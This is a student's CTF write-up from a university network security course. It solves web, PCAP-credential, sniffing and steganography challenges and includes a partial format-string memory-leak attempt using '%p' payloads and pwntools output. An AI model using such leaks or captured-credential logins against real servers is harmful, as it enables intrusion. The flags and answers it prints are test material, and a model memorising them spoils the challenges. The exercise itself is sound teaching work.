PES UNIVERSITY

Department of Computer Science & Engineering

Computer Network Security

UE23CS343AB6

CTF 2

Name of the Student	Pranav Hemanth
SRN	PES1UG23CS433
Section	G
Department	CSE
Campus	RR

UE23CS343AB6

Challenge: Bazinga
Leonard wants to send secret plans for a new comic book night to Howard, but Sheldon is likely spying. Can you find the message?

Hint: Flags always start with isfcr and are b/w {}

https://cns1-bazinga.chals.io/

Solution:
curl the page first
seed@seedvm2004:~$ curl -I https://cns1-bazinga.chals.io/
HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.9.23
Date: Thu, 18 Sep 2025 03:00:43 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 4263
Connection: close

seed@seedvm2004:~$ curl https://cns1-bazinga.chals.io/

```
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <title>Bazinga Network Portal</title>
  <link
href="https://fonts.googleapis.com/css2?family=Share+Tech+Mono&display=swap"
rel="stylesheet">
  <style>
    body {
      font-family: 'Share Tech Mono', monospace;
      background: radial-gradient(circle at center, #000000 0%, #0a0a0f 100%);
      color: #00ffcc;
      margin: 0;
      padding: 0;
      overflow-x: hidden;
    }

    header {
      text-align: center;
```

```
  padding: 40px 20px;
  font-size: 2.5rem;
  color: #00ffcc;
  text-shadow: 0 0 15px #00ffcc, 0 0 25px #00ffee;
  animation: flicker 2s infinite;
  background-color: rgba(0, 255, 204, 0.05);
}

@keyframes flicker {

  0%,
  19%,
  21%,
  23%,
  25%,
  54%,
  56%,
  100% {
    opacity: 1;
  }

  20%,
  24%,
  55% {
    opacity: 0.3;
  }
}

.container {
  max-width: 1000px;
  margin: auto;
  padding: 20px;
  display: grid;
  grid-template-columns: repeat(auto-fit, minmax(280px, 1fr));
  gap: 20px;
}

.card {
  background: rgba(0, 255, 204, 0.05);
  border: 1px solid #00ffcc33;
  border-radius: 10px;
  padding: 20px;
  transition: transform 0.3s, box-shadow 0.3s;
  box-shadow: 0 0 10px #00ffcc33;
```

```
  backdrop-filter: blur(4px);
}

.card:hover {
  transform: scale(1.05);
  box-shadow: 0 0 20px #00ffee99;
}

.card h2 {
  color: #ffcc00;
  text-shadow: 0 0 5px #ffcc00;
  text-align: center;
}

img {
  max-width: 100%;
  border-radius: 10px;
  margin-top: 10px;
}

.card img {
  width: 100%;
  /* Make all images take full card width */
  height: 250px;
  /* Fix height for all images */
  object-fit: cover;
  /* Crop/scale images to fit nicely */
  border-radius: 10px;
  margin-top: 10px;
}

footer {
  text-align: center;
  padding: 15px;
  background: #0a0a0f;
  color: #666;
  font-size: 1.5rem;
  border-top: 1px solid #00ffcc33;
}

.extra {
  color: #00ffcc;
  font-size: 12px;
}
```

```
    .glitch {
      position: relative;
      color: #00ffcc;
      font-size: 1.2rem;
      animation: glitch 1s infinite;
    }

    @keyframes glitch {

      2%,
      64% {
        transform: translate(2px, 0) skew(0deg);
      }

      4%,
      60% {
        transform: translate(-2px, 0) skew(0deg);
      }

      62% {
        transform: translate(0, 0) skew(5deg);
      }
    }
  </style>
</head>

<body>
  <header>
    Big Bang Theory: Networking Edition
  </header>
  <div class="container">
    <div class="card">
      <h2>Leonard Hofstadter</h2>
      <img
src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRYOC-flJrjKnKKseah
P86hEEz_sAYGI7OYGw&s"
        alt="Leonard Hofstadter">
      <p>Experimental physicist… If Leonard were your TA, he'd whisper: <span
          class="glitch"><b></b>"Network...."</b></span>
      </p>
    </div>
    <div class="card">
      <h2>Sheldon Cooper</h2>
```

```
      <img
src="https://static.independent.co.uk/s3fs-public/thumbnails/image/2017/03/14/09/big-bang-theory-sheldon-cooper.jpeg?width=1200&height=1200&fit=crop"
        alt="Sheldon Cooper">
      <p>"Bazinga!" – The man who could debug TCP/IP like equations on a whiteboard. He is currently working on
        an encoding-scheme, popularly used in mails, to decrypt Leonard's message.</p>
    </div>
    <div class="card">
      <h2>Howard Wolowitz</h2>
      <img
src="https://i.pinimg.com/474x/cb/91/2d/cb912d8de5567f0f7bd9b586bfa3eea7.jpg"
alt="Howard">
      <p>He doesn’t get string theory, but he knows secrets hide in plain sight. He also knows there are tools which
        can be of use to web developers.</p>
    </div>
  </div>

  <footer>
    © 2025 Bazinga Network Portal
    <br>
    <a href="https://giga-portfolio.vercel.app" target="_blank" class="extra">
      Extra Link - not related to this challenge
    </a>
  </footer>

  <!-- Scripts delivering hidden parts -->
  <script src="/static/flagP1.js"></script>
  <script src="/static/flagP2.js"></script>
  <script src="/static/flagP3.js"></script>
</body>
```

looks like the three JS files are where the hidden parts live. I can’t fetch them from here, but you already proved you can curl the site.
Run the commands below on your seedvm2004 shell and paste the output here if you want me to read it —
or run the full script which will fetch, inspect and try common decodes automatically and print any isfcr{...} it finds.

```
curl -s https://cns1-bazinga.chals.io/static/flagP1.js -o flagP1.js && echo "---- flagP1.js ----" && sed -n '1,200p' flagP1.js
```

curl -s https://cns1-bazinga.chals.io/static/flagP2.js -o flagP2.js && echo "----
flagP2.js ----" && sed -n '1,200p' flagP2.js
curl -s https://cns1-bazinga.chals.io/static/flagP3.js -o flagP3.js && echo "----
flagP3.js ----" && sed -n '1,200p' flagP3.js

You then get the three fragments
seed@seedvm2004:~$ curl -s https://cns1-bazinga.chals.io/static/flagP1.js -o
flagP1.js && echo "---- flagP1.js ----" && sed -n '1,200p' flagP1.js
curl -s https://cns1-bazinga.chals.io/static/flagP2.js -o flagP2.js && echo "----
flagP2.js ----" && sed -n '1,200p' flagP2.js
curl -s https://cns1-bazinga.chals.io/static/flagP3.js -o flagP3.js && echo "----
flagP3.js ----" && sed -n '1,200p' flagP3.js
---- flagP1.js ----
/* flag fragment - part 1 */
"YzBtaWNfbjE2a"---- flagP2.js ----
/* flag fragment - part 2 */
"HRfQF9teXBsNG"---- flagP3.js ----
/* flag fragment - part 3 */
"MzX3Qwbmk2aHQ="seed@seedvm2004:~$

fragments:
flagP1.js : "YzBtaWNfbjE2a"
flagP2.js : "HRfQF9teXBsNG"
flagP3.js : "MzX3Qwbmk2aHQ="

Join them:
YzBtaWNfbjE2aHRfQF9teXBsNGMzX3Qwbmk2aHQ=

Decode it:
echo 'YzBtaWNfbjE2aHRfQF9teXBsNGMzX3Qwbmk2aHQ=' | base64 -d

c0mic_n16ht_@_mypl4c3_w1th2ah

flag is
isfcr{c0mic_n16ht_@_mypl4c3_w1th2ah}

Challenge: Itsy Bitsy Spider
User Credentials are buried in network traffic. Extract the plain-text username and password from a noisy PCAP, authenticate to the server, and hunt the flag.

Solution:
seed@seedvm2004:/mnt/hgfs/CNS-S5/CTF-18th-Sept$ strings cred.pcap
This is a benign logging message. The system processed 512 entries. No action required; this is part of normal operation
. Please ignore.
Dear security team,
I was tracing some logs and noticed unusual activity in the access patterns last n ight. The session details are strange
there are long headers and repeated GETs for resources that do not exist. Could you please verify the following account details when you get a moment?
Account summary:
owner: Bruce Wayne
username
: CNS
account-type: admin
Regards,
Alfred
HTTP/1.1 200 OK
Content-Type: text/plain
Welcome to the service. For help, contact support@example.local.
Hello ops,
We've rotated a number of secret keys and passwords. Please update the vault when you can. Below is the temporary credent
ial we used for the automated tests. It will be valid for 24 hours.
Temporary credentials:
password: CNS@PES
expire
s: 2025-09-20T23:59:59Z
Thanks,
Automation Team
example
pingpayload
reply
GET /index.html HTTP/1.1
Host: example
HTTP/1.1 200 OK
Content-Length: 13
Hello, world!
seed@seedvm2004:/mnt/hgfs/CNS-S5/CTF-18th-Sept$

From this we get the credentials:
From the strings output of cred.pcap you've already uncovered the clear-text credentials hidden in the captured traffic:

- Username: CNS
- Password: CNS@PES

On using the given website we get:

```
seed@seedvm2004:/mnt/hgfs/CNS-S5/CTF-18th-Sept$ curl -s -D - -u 'CNS:CNS@PES' 'https://cns1-itsy-bitsy-spider.chals.io/protected' | sed -n '1,200p'
HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.10.18
Date: Thu, 18 Sep 2025 03:12:18 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 276
X-CTF-Hint: Check /secret_route
Connection: close

<!doctype html>
<html>
  <head><title>Protected Area</title></head>
  <body>
    <h1>Welcome, investigator.</h1>
    <p>The flag is not here 😆😆😆</p>
    <script>
      // Hint: How can you access website content in command line? 🤔
    </script>
  </body>
</html>
seed@seedvm2004:/mnt/hgfs/CNS-S5/CTF-18th-Sept$
```

If we closely observe the X-CTF-Hint header we get a path /secret_route to check:

```
seed@seedvm2004:/mnt/hgfs/CNS-S5/CTF-18th-Sept$ curl -u 'CNS:CNS@PES' https://cns1-itsy-bitsy-spider.chals.io/secret_route
Nice work. The flag is here:
aXNmY3J7VzF0aF9ncjNhdF9wMHczcl9jMG0zc19ncjM0dF9yZXNwMG5zMWJpbDF0eX0=
```

We then decode the base64:

```
echo 'aXNmY3J7VzF0aF9ncjNhdF9wMHczcl9jMG0zc19ncjM0dF9yZXNwMG5zMWJpbDF0eX0=' | base64 -d
```

This gives us the flag:
isfcr{W1th_gr3at_p0w3r_c0m3s_gr34t_resp0ns1bil1ty}

Challenge: Evesdropping
Can you hear the lies?

cns1-not-my-friend.chals.io

Solution:
The provided server.py:

- Fetches fragments from a remote challenge server at cns1-not-my-friend.chals.io/fragment?order=<index>.
- Replays each fragment via HTTP POST to localhost so someone running Wireshark/tcpdump can “eavesdrop” and see the data.
- The fragments are intentionally sent out of order.

ORDER = [2, 0, 5, 7, 1, 9, 3, 4, 6, 8]
Your job is to listen on the local interface, capture those POSTs, and reconstruct the flag.

Run the following on vm:
python3 server.py --target https://cns1-not-my-friend.chals.io --port 8080

Then Capture the Traffic
Open another terminal and run one of these to sniff local HTTP POSTs:
sudo tcpdump -A -i lo port 8080
or
sudo tshark -i lo -Y 'http.request.method == "POST"'

However for some reason this kept giving only 7 of 10 fragments
Trying further:

```
tshark -i lo -Y 'http.request.method == "POST"' -T fields -e http.file_data \
  | sort -n -t. -k1,1 \
  | cut -d. -f2 \
  | tr -d '\n' \
  | base64 -d
```

Still not able to capture all 10 fragments

Trying to capture the packets through a python script however worked:
seed@seedvm2004:/mnt/hgfs/CNS-S5/CTF-18th-Sept$ python3 evesdropping_solve.py

[server] Listening on port 8080...
[+] Captured fragment 2: YjNz
[+] Captured fragment 0: aXNm
[+] Captured fragment 5: bmQ1
[+] Captured fragment 7: zdj
[+] Captured fragment 1: Y3J7
[+] Captured fragment 9: Q==
[+] Captured fragment 3: dF9m
[+] Captured fragment 4: cjEz
[+] Captured fragment 6: XzQ
[+] Captured fragment 8: Nyf

[+] Combined Base64 string:
YjNzaXNmbmQ1zdjY3J7Q==dF9mcjEzXzQNyf

[!] Failed to decode: Incorrect padding
seed@seedvm2004:/mnt/hgfs/CNS-S5/CTF-18th-Sept$ ^C
seed@seedvm2004:/mnt/hgfs/CNS-S5/CTF-18th-Sept$

This however was wrong order. Fixing the order yields the below:
"aXNmY3J7YjNzdF9mcjEzbmQ1XzQzdjNyfQ=="

The flag for this is:
isfcr{b3st_fr13nd5_43v3r}

This is however the decoy flag. We need to put this in the provided website with a nonce.
The nonce is the link to the rickroll video on youtube -
https://www.youtube.com/watch?v=dQw4w9WgXcQ

This gives us the actual flag:
isfcr{b3st_fr13nd5_t!11_2027}

Challenge: Encrypted Codex (couldn't do in time)
Giga, a cybersec enthusiast, has hidden Leonardo Da Vinci’s words in a network capture file. Can you retrieve the file and find the message flag?

A second capture file is given to help you figure out how to decode the flag.

Challenge by: Ajith S P
Lisa.pcap

cipher.pcap

Solution:
By running the lisa pcap we get bin files and a monalisa png. We put this in online steg site to get a text which talks about Caesar.
Steg online site->put image->ull get Caesar value-> decode with shift val 3

flag is
isfcr{D3t4il5_m4k3_p3rf3ct10n}

Challenge: Format Blunder?!? (Didnt get flag)
Company X recently migrated its high-traffic TCP servers from Python to C to squeeze out more performance.
In the rush, their developers overlooked the finer details of C's low-level I/O.
One of these servers guards the credentials to their production database.
On the surface it behaves like a simple echo server — but subtle flaws in its implementation may reveal far more than intended.
To make things harder, the secret isn't stored neatly in one place.
The flag is split across memory and the flag is encrypted anew every time a client connects with a basic algorithm.
With the right approach, though, you can still piece it together. Can you exploit the server's careless coding and recover the full flag?
Challenge by: Manas G

nc 0.cloud.chals.io 23963

Solution:
We get to know the challenge is a memory leak challenge from the desc so we try basic mem access first:
$ nc 0.cloud.chals.io 23963
hello%p.%p.%p.%p

this give us:
seed@seedvm2004:~$ nc 0.cloud.chals.io 23963
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
IP 10.1.0.20.43578 > yourserver.9000: Flags [S], seq 915041645, win 64240, options [mss 1460,sackOK,TS val 1758169200 ecr 0,nop,wscale 7], length 0
IP yourserver.9000 > 10.1.0.20.43578: Flags [S.], seq 1234567890, ack 915041646, win 65535, options [mss 1460,sackOK,TS val 1758169220 ecr 1758169200,nop,wscale 7], length 0
IP 10.1.0.20.43578 > yourserver.9000: Flags [.], ack 915041646, win 501, options [TS val 1758169240 ecr 1758169220], length 0

Enter your input:

hello%p.%p.%p.%p
hello0x7ffe1797f9c0.0x15aad30.0x7f1cf400c770.0x15aacf0

then we run a leak_fmt script to extract fragments of data:
[+] Opening connection to 0.cloud.chals.io on port 23963: Done
[*] Closed connection to 0.cloud.chals.io port 23963
[+] offset 23: len=562
    'tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes\nIP 10.1.0.20.48974 > yourserver.9000: Flags [S], seq 1994418406, win 64240, options [mss 1460,sackOK,TS val 175816941'

[+] Opening connection to 0.cloud.chals.io on port 23963: Done
[*] Closed connection to 0.cloud.chals.io port 23963
[+] offset 24: len=562
    'tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes\nIP 10.1.0.20.49034 > yourserver.9000: Flags [S], seq 1389594965, win 64240, options [mss 1460,sackOK,TS val 175816941'

[+] Opening connection to 0.cloud.chals.io on port 23963: Done
[*] Closed connection to 0.cloud.chals.io port 23963
[+] offset 25: len=562
    'tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes\nIP 10.1.0.20.41062 > yourserver.9000: Flags [S], seq 1635494245, win 64240, options [mss 1460,sackOK,TS val 175816942'

[+] Opening connection to 0.cloud.chals.io on port 23963: Done
[*] Closed connection to 0.cloud.chals.io port 23963
[+] offset 26: len=562
    'tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes\nIP 10.1.0.20.41174 > yourserver.9000: Flags [S], seq 4174840738, win 64240, options [mss 1460,sackOK,TS val 175816942'

[+] Opening connection to 0.cloud.chals.io on port 23963: Done
[*] Closed connection to 0.cloud.chals.io port 23963
[+] offset 27: len=562
    'tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes\nIP 10.1.0.20.41246 > yourserver.9000: Flags [S], seq 4111073555, win 64240, options [mss 1460,sackOK,TS val 175816942'

[+] Opening connection to 0.cloud.chals.io on port 23963: Done
[*] Closed connection to 0.cloud.chals.io port 23963
[+] offset 28: len=562

```
    'tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144
bytes\nIP 10.1.0.21.41088 > yourserver.9000: Flags [S], seq 1181401550, win
64240, options [mss 1460,sackOK,TS val 175816943'

[+] Opening connection to 0.cloud.chals.io on port 23963: Done
[*] Closed connection to 0.cloud.chals.io port 23963
[+] offset  29: len=562
    'tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144
bytes\nIP 10.1.0.20.34396 > yourserver.9000: Flags [S], seq 3406603841, win
64240, options [mss 1460,sackOK,TS val 175816943'

[+] Opening connection to 0.cloud.chals.io on port 23963: Done
```

this shows us that data isnt being leaked properly

We fix this by tcpdumping the data being leaked:

```
pranavhemanth@Pranavs-MacBook-Pro-M3 Format Blunder?!? %python3
leak_fmt.py
[+] Opening connection to 0.cloud.chals.io on port 23963: Done
/Users/pranavhemanth/Code/Academics/CNS-S5/CTF-18th-Sept/Format
Blunder?!?/leak_fmt.py:119: BytesWarning: Text is not bytes; assuming ASCII, no
guarantees. See https://docs.pwntools.com/#bytes
  r.sendline(payload)
[*] Closed connection to 0.cloud.chals.io port 23963
[+] offset   1: len=  7
    '54623\n\n'

[+] Opening connection to 0.cloud.chals.io on port 23963: Done
[*] Closed connection to 0.cloud.chals.io port 23963
[+] offset   2: len= 14
    '231f44b489bb\n\n'

[+] Opening connection to 0.cloud.chals.io on port 23963: Done
[*] Closed connection to 0.cloud.chals.io port 23963
[+] offset   3: len= 12
    '72762a4e8e\n\n'

[+] Opening connection to 0.cloud.chals.io on port 23963: Done
[*] Closed connection to 0.cloud.chals.io port 23963
[+] offset   4: len= 14
    'c4cd7cd24e0a\n\n'

[+] Opening connection to 0.cloud.chals.io on port 23963: Done
[*] Closed connection to 0.cloud.chals.io port 23963
```

```
[+] offset   5: len= 12
    '0ec2cbd6a5\n\n'

[+] Opening connection to 0.cloud.chals.io on port 23963: Done
[*] Closed connection to 0.cloud.chals.io port 23963
[+] Opening connection to 0.cloud.chals.io on port 23963: Done
[*] Closed connection to 0.cloud.chals.io port 23963
[+] Opening connection to 0.cloud.chals.io on port 23963: Done
[*] Closed connection to 0.cloud.chals.io port 23963
[+] Opening connection to 0.cloud.chals.io on port 23963: Done
[*] Closed connection to 0.cloud.chals.io port 23963
[+] Opening connection to 0.cloud.chals.io on port 23963: Done
[*] Closed connection to 0.cloud.chals.io port 23963
[+] offset  10: len=  8
    '(null)\n\n'

[+] Opening connection to 0.cloud.chals.io on port 23963: Done
[*] Closed connection to 0.cloud.chals.io port 23963
[+] offset  11: len=  8
    '(null)\n\n'

[+] Opening connection to 0.cloud.chals.io on port 23963: Done
[*] Closed connection to 0.cloud.chals.io port 23963
[+] offset  12: len=  8
    '(null)\n\n'

[+] Opening connection to 0.cloud.chals.io on port 23963: Done
[*] Closed connection to 0.cloud.chals.io port 23963
[+] offset  13: len=  8
    '(null)\n\n'

[+] Opening connection to 0.cloud.chals.io on port 23963: Done
```

here we get the offsets of data leaked:

```
offset  1: '54623\n\n'
offset  2: '231f44b489bb\n\n'
offset  3: '72762a4e8e\n\n'
offset  4: 'c4cd7cd24e0a\n\n'
offset  5: '0ec2cbd6a5\n\n'
```

Joining the data from the fragments gives us:

```
pranavhemanth@Pranavs-MacBook-Pro-M3 Format Blunder?!? %python3 solve.py
[+] Encrypted flag bytes:
b'\x05F##\x1fD\xb4\x89\xbbrv*N\x8e\xc4\xcd|\xd2N\n\x0e\xc2\xcb\xd6\xa5'
```

pranavhemanth@Pranavs-MacBook-Pro-M3 Format Blunder?!? %

Now we run different XOR keys to break this:
pranavhemanth@Pranavs-MacBook-Pro-M3 Format Blunder?!? %python3 xor_solve.py
[+] Encrypted flag bytes:
b'\x05F##\x1fD\xb4\x89\xbbrv*N\x8e\xc4\xcd|\xd2N\n\x0e\xc2\xcb\xd6\xa5'
[*] Trying keys of length 1...
[*] Trying keys of length 2...
[*] Trying keys of length 3...
[*] Trying keys of length 4...

Retrying with script updates:
pranavhemanth@Pranavs-MacBook-Pro-M3 Format Blunder?!? %python3 xor_solve.py
[+] Fragment 1 decrypted with key 0x60: e&C
[!] Fragment 2 could not be decrypted with a single-byte XOR key
[!] Fragment 3 could not be decrypted with a single-byte XOR key
[!] Fragment 4 could not be decrypted with a single-byte XOR key
[!] Fragment 5 could not be decrypted with a single-byte XOR key

[+] Full decrypted flag (combined fragments):
[!] Non-ASCII characters present, printing raw bytes:
b'e&C#\x1fD\xb4\x89\xbbrv*N\x8e\xc4\xcd|\xd2N\n\x0e\xc2\xcb\xd6\xa5'
pranavhemanth@Pranavs-MacBook-Pro-M3 Format Blunder?!? %

Trying different bruteforce attempts did not work :(